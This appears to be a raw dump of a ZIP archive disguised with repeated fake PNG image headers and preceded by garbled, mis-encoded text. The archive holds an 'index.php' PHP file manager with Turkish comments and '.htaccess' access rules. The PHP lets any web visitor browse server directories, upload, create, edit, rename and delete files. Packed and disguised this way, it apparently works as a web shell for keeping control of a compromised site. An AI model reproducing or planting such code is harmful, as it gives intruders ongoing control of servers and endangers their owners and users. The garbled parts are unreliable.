�ɲɾ�����ӯ�����һ��ˣ��������С���˴��ͣ�������P���ҹ��ñ˽��ά�Բ��������˸߸ԣ�������ơ��ҹ��ñ�����ά�Բ���ˡ���˳^�ӣ������ӡ� ���ͯj�ӣ��ƺ���ӣ� ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PKNP0]-- index.phpnu[= 1048576) { return round($bytes / 1048576, 2) . " MB"; } if ($bytes >= 1024) { return round($bytes / 1024, 2) . " KB"; } return $bytes . " B"; } function goBack($path) { $parent = dirname($path); // Eğer ana dizine kadar geldiyse tekrar ana dizini göster if ($parent == $path) { $parent = $path; } echo "← Back"; } // --------------------------------------------- // ---------- POST İŞLEMLERİ ---------- if ($_SERVER['REQUEST_METHOD'] === 'POST') { // 1. Dosya yükleme if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if (!in_array($ext, $allowedArray)) { echo "

File type not allowed!

"; } else { $target = $currentPath . "/" . basename($_FILES['file']['name']); if (realpath($target) == __FILE__) { echo "

Cannot overwrite the script file!

"; } elseif (!is_writable($currentPath)) { echo "

Directory is not writable! Please check permissions.

"; } else { if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { header("Location: ?path=" . urlencode($currentPath)); exit; } else { echo "

Upload failed! Unknown error occurred.

"; } } } } // 2. Klasör oluştur if (isset($_POST['folder']) && !empty($_POST['folder'])) { $folderName = $currentPath . "/" . basename($_POST['folder']); if (!is_dir($folderName)) { if (mkdir($folderName, 0755, true)) { header("Location: ?path=" . urlencode($currentPath)); exit; } else { echo "

Failed to create folder!

"; } } else { echo "

Folder already exists!

"; } } // 3. Dosya oluştur if (isset($_POST['new_file']) && !empty($_POST['new_file']) && isset($_POST['content'])) { $fileName = $currentPath . "/" . basename($_POST['new_file']); if (file_put_contents($fileName, $_POST['content'])) { header("Location: ?path=" . urlencode($currentPath)); exit; } else { echo "

Failed to create file!

"; } } // 4. Yeniden adlandır (POST ile) if (isset($_POST['new_name']) && !empty($_POST['new_name']) && $itemPath) { $newPath = $currentPath . "/" . basename($_POST['new_name']); if (rename($itemPath, $newPath)) { header("Location: ?path=" . urlencode($currentPath)); exit; } else { echo "

Failed to rename!

"; } } // 5. Dosya içeriğini kaydet (düzenle) if (isset($_POST['edited_content']) && $itemPath) { if (file_put_contents($itemPath, $_POST['edited_content'])) { header("Location: ?path=" . urlencode($currentPath)); exit; } else { echo "

Failed to save file!

"; } } } // ---------------------------------- // ---------- GET ACTION İŞLEMLERİ ---------- if ($action && $itemPath && file_exists($itemPath)) { // Silme if ($action === 'delete') { if (is_dir($itemPath)) { // rmdir sadece boş klasörleri siler, içi doluysa zaten başarısız olur if (rmdir($itemPath)) { header("Location: ?path=" . urlencode($currentPath)); exit; } else { echo "

Failed to delete folder! Make sure it's empty.

"; } } else { if (unlink($itemPath)) { header("Location: ?path=" . urlencode($currentPath)); exit; } else { echo "

Failed to delete file!

"; } } } // Düzenleme ekranı if ($action === 'edit' && is_file($itemPath)) { $content = file_get_contents($itemPath); $content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8'); $fileName = basename($itemPath); echo " Edit File

Edit: $fileName



Cancel
"; exit; } // Yeniden adlandırma ekranı if ($action === 'rename') { $fileName = basename($itemPath); echo " Rename

Rename Item

Cancel
"; exit; } } // ---------------------------------- // ---------- ANA GÖRÜNÜM (HTML BİREBİR AYNI) ---------- $files = scandir($currentPath); $files = array_diff($files, array('.', '..')); ?> File Manager

📍 Location:


0) { echo ""; } else { echo "

Folder is empty

"; } ?>

File Manager | Compatible with PHP 5.6, 7.x, 8.x

PKNP0]} .htaccessnu[ Order Allow,Deny Deny from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all PKNP0]-- index.phpnu[PKNP0]} ..htaccessnu[PK/